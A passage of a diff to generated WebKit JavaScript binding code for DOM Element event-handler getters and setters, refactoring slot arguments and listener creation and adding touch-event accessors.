-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onmousewheel()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnscroll(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnscroll(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onscroll()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnselect(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnselect(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onselect()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnsubmit(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnsubmit(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onsubmit()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnbeforecut(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnbeforecut(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforecut()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOncut(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOncut(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->oncut()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnbeforecopy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnbeforecopy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforecopy()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOncopy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOncopy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->oncopy()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnbeforepaste(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnbeforepaste(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforepaste()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnpaste(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnpaste(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onpaste()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnreset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnreset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onreset()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnsearch(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnsearch(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onsearch()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsElementOnselectstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsElementOnselectstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* castedThis = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(castedThis->impl());
     if (EventListener* listener = imp->onselectstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp->scriptExecutionContext()))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsElementOntouchstart(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchstart()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsElementOntouchmove(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchmove()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsElementOntouchend(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchend()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
+#endif
 
-JSValue jsElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsElementOntouchcancel(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSElement* domObject = static_cast<JSElement*>(asObject(slot.slotBase()));
+    JSElement* castedThis = static_cast<JSElement*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchcancel()) {
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp->scriptExecutionContext()))
+                return jsFunction;
+        }
+    }
+    return jsNull();
+}
+#endif
+
+JSValue jsElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSElement* domObject = static_cast<JSElement*>(asObject(slotBase));
     return JSElement::getConstructor(exec, domObject->globalObject());
 }
 void JSElement::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -883,13 +1055,15 @@ void JSElement::put(ExecState* exec, const Identifier& propertyName, JSValue val
 
 void setJSElementScrollLeft(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    JSElement* castedThisObj = static_cast<JSElement*>(thisObject);
+    Element* imp = static_cast<Element*>(castedThisObj->impl());
     imp->setScrollLeft(value.toInt32(exec));
 }
 
 void setJSElementScrollTop(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    JSElement* castedThisObj = static_cast<JSElement*>(thisObject);
+    Element* imp = static_cast<Element*>(castedThisObj->impl());
     imp->setScrollTop(value.toInt32(exec));
 }
 
@@ -897,391 +1071,310 @@ void setJSElementOnabort(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnabort(globalObject->createJSAttributeEventListener(value));
+    imp->setOnabort(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnblur(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnblur(globalObject->createJSAttributeEventListener(value));
+    imp->setOnblur(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnchange(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnchange(globalObject->createJSAttributeEventListener(value));
+    imp->setOnchange(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnclick(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOnclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOncontextmenu(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncontextmenu(globalObject->createJSAttributeEventListener(value));
+    imp->setOncontextmenu(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndblclick(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndblclick(globalObject->createJSAttributeEventListener(value));
+    imp->setOndblclick(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndrag(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndrag(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrag(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndragend(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragend(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragend(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndragenter(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragenter(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragenter(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndragleave(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragleave(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragleave(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndragover(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragover(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndragstart(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndragstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOndragstart(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOndrop(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOndrop(globalObject->createJSAttributeEventListener(value));
+    imp->setOndrop(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnerror(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnerror(globalObject->createJSAttributeEventListener(value));
+    imp->setOnerror(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnfocus(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnfocus(globalObject->createJSAttributeEventListener(value));
+    imp->setOnfocus(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOninput(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOninput(globalObject->createJSAttributeEventListener(value));
+    imp->setOninput(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOninvalid(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOninvalid(globalObject->createJSAttributeEventListener(value));
+    imp->setOninvalid(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnkeydown(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeydown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeydown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnkeypress(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeypress(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeypress(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnkeyup(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnkeyup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnkeyup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnload(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnload(globalObject->createJSAttributeEventListener(value));
+    imp->setOnload(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmousedown(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousedown(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousedown(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmousemove(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousemove(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousemove(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmouseout(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseout(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseout(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmouseover(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseover(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseover(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmouseup(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmouseup(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmouseup(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnmousewheel(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnmousewheel(globalObject->createJSAttributeEventListener(value));
+    imp->setOnmousewheel(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnscroll(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnscroll(globalObject->createJSAttributeEventListener(value));
+    imp->setOnscroll(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnselect(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnselect(globalObject->createJSAttributeEventListener(value));
+    imp->setOnselect(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnsubmit(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnsubmit(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsubmit(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnbeforecut(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforecut(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforecut(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOncut(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncut(globalObject->createJSAttributeEventListener(value));
+    imp->setOncut(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnbeforecopy(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforecopy(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforecopy(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOncopy(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOncopy(globalObject->createJSAttributeEventListener(value));
+    imp->setOncopy(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnbeforepaste(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnbeforepaste(globalObject->createJSAttributeEventListener(value));
+    imp->setOnbeforepaste(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnpaste(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnpaste(globalObject->createJSAttributeEventListener(value));
+    imp->setOnpaste(createJSAttributeEventListener(exec, value, thisObject));
 }
 
